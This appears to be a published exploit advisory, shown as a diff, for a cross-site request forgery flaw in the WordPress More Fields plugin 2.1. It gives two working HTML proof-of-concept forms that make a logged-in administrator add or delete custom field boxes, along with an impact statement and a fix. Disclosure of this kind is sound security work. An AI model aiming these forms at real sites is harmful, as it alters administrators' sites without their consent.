|
| 1 | +# Exploit Title: Wordpress More Fields Plugin 2.1 Cross-Site Request Forgery |
| 2 | +# Date: 28-02-2016 |
| 3 | +# Software Link: https://wordpress.org/support/plugin/more-fields |
| 4 | +# Exploit Author: Aatif Shahdad |
| 5 | +# Twitter: https://twitter.com/61617469665f736 |
| 6 | +# Contact: aatif_shahdad@icloud.com |
| 7 | +# Category: webapps |
| 8 | + |
| 9 | +1. Description |
| 10 | + |
| 11 | +The plugin More Fields has CSRF token validation disabled for all functions, including the add box and delete box options. As a result, a specially crafted attacker page could cause |
| 12 | +a logged-in administrator to add and delete any number of extra fields in any number of additional boxes on the Write/Edit page in the Admin. |
| 13 | + |
| 14 | +2. Proof of Concept |
| 15 | + |
| 16 | +Login as admin to the wp-admin area at http://example.com/wp-admin. Open the following Proof-Of-Concept with the browser that you used to log in. |
| 17 | + |
| 18 | +POC to add box named ‘test’: |
| 19 | + |
| 20 | +--POC begins-- |
| 21 | +Add Boxes: |
| 22 | + |
| 23 | +<html> |
| 24 | + <body> |
| 25 | + <form action="https://example.com/wpadmin/optionsgeneral.php?page=more- |
| 26 | +fields&action=save&keys=_plugin%2C57UPhPh&navigation=boxes" method="POST"> |
| 27 | + <input type="hidden" name="label" value="test" /> |
| 28 | + <input type="hidden" name="post_types[]" value="press" /> |
| 29 | + <input type="hidden" name="position" value="left" /> |
| 30 | + <input type="hidden" name="fields" value="" /> |
| 31 | + <input type="hidden" name="ancestor_key" value="" /> |
| 32 | + <input type="hidden" name="originating_keys" value="_plugin,57UPhPh" /> |
| 33 | + <input type="hidden" name="action" value="save" /> |
| 34 | + <input type="submit" value="Submit request" /> |
| 35 | + </form> |
| 36 | + </body> |
| 37 | +</html> |
| 38 | + |
| 39 | + |
| 40 | +Remove Boxes needs the following simple GET request (Assuming the name of the Box we want to delete is ‘test’): |
| 41 | + |
| 42 | +<html> |
| 43 | + <body> |
| 44 | + <form action="https://example.com/wpadmin/optionsgeneral.php"> |
| 45 | + <input type="hidden" name="page" value="more-fields" /> |
| 46 | + <input type="hidden" name="action" value="delete" /> |
| 47 | + <input type="hidden" name="action_keys" value="_plugin,test" /> |
| 48 | + <input type="submit" value="Submit request" /> |
| 49 | + </form> |
| 50 | + </body> |
| 51 | +</html> |
| 52 | + |
| 53 | + |
| 54 | +Note: I have removed the CSRF tokens from the requests as they are redundant and not validated. |
| 55 | + |
| 56 | +--End of POC-- |
| 57 | + |
| 58 | + |
| 59 | +3. Impact |
| 60 | + |
| 61 | +The attacker can add/delete any number of extra fields in any number of additional boxes on the Write/Edit page in the Admin. |
| 62 | + |
| 63 | +4. Solution: |
| 64 | + |
| 65 | +Add in CSRF token validation to the plugin or switch to a different plugin. The development of the Plugin has ceased so this happens to be the latest version which can’t be upgraded as of now. |
0 commit comments